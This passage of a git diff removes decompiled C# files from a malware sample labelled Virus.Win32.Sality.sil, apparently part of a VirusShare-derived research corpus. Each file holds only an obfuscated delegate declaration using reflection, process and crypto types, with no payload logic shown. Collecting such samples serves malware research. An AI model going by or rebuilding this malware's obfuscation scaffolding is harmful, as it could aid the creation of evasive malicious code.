a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ƒ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0083\u0003([In] object obj0, [In] FormBorderStyle obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0004.cs deleted file mode 100644 index 2d7d0576..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ƒ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Collections; -using System.Runtime.InteropServices; - -internal delegate IEnumerator \u0083\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0005.cs deleted file mode 100644 index 54a17cd6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ƒ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate object \u0083\u0005([In] object obj0, [In] object obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0003.cs deleted file mode 100644 index 9f40c705..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: „ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Type \u0084\u0003([In] RuntimeTypeHandle obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0004.cs deleted file mode 100644 index dc69e56c..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0004.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: „ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodBase \u0084\u0004([In] RuntimeMethodHandle obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0005.cs deleted file mode 100644 index 87d8c6ba..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: „ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0084\u0005([In] string obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0003.cs deleted file mode 100644 index 39b13255..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: † -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal unsafe delegate IntPtr \u0086\u0003([In] void* obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0004.cs deleted file mode 100644 index 2b1dafe4..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: † -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Text; - -internal delegate StringBuilder \u0086\u0004([In] object obj0, [In] char obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0005.cs deleted file mode 100644 index 7b5f62c2..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: † -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0086\u0005([In] string obj0, [In] object obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0003.cs deleted file mode 100644 index be9f2021..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‡ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u0087\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0004.cs deleted file mode 100644 index 3e8c4e4e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‡ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate Size \u0087\u0004([In] SizeF obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0005.cs deleted file mode 100644 index 51119e65..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‡ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0087\u0005([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0003.cs deleted file mode 100644 index b3819a86..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˆ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Text; - -internal delegate StringBuilder \u0088\u0003([In] object obj0, [In] int obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0004.cs deleted file mode 100644 index 82916863..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˆ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0088\u0004([In] object obj0, [In] object obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0005.cs deleted file mode 100644 index d28e101b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˆ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0088\u0005([In] object obj0, [In] PaintEventArgs obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0003.cs deleted file mode 100644 index 3d494370..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‰ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Web; - -internal delegate HttpContext \u0089\u0003(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0004.cs deleted file mode 100644 index ca0992a4..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‰ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate object[] \u0089\u0004([In] object obj0, [In] string obj1, [In] object[] obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0005.cs deleted file mode 100644 index 65203f9d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‰ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate Point \u0089\u0005([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0003.cs deleted file mode 100644 index 8ad0d741..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Š -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Diagnostics; -using System.Runtime.InteropServices; - -internal delegate Process \u008A\u0003([In] string obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0004.cs deleted file mode 100644 index 1a77a415..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Š -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string[] \u008A\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0005.cs deleted file mode 100644 index 76613d29..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Š -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u008A\u0005([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0003.cs deleted file mode 100644 index 750a110f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0003.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‹ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -internal delegate ICryptoTransform \u008B\u0003( - [In] object obj0, - [In] byte[] obj1, - [In] byte[] obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0004.cs deleted file mode 100644 index 288a4819..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‹ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate ILGenerator \u008B\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0005.cs deleted file mode 100644 index 23143ab7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0005.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‹ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate object \u008B\u0005( - [In] object obj0, - [In] string obj1, - [In] BindingFlags obj2, - [In] Binder obj3, - [In] object obj4, - [In] object[] obj5); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0003.cs deleted file mode 100644 index 0633a6c3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Œ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate int \u008C\u0003([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git 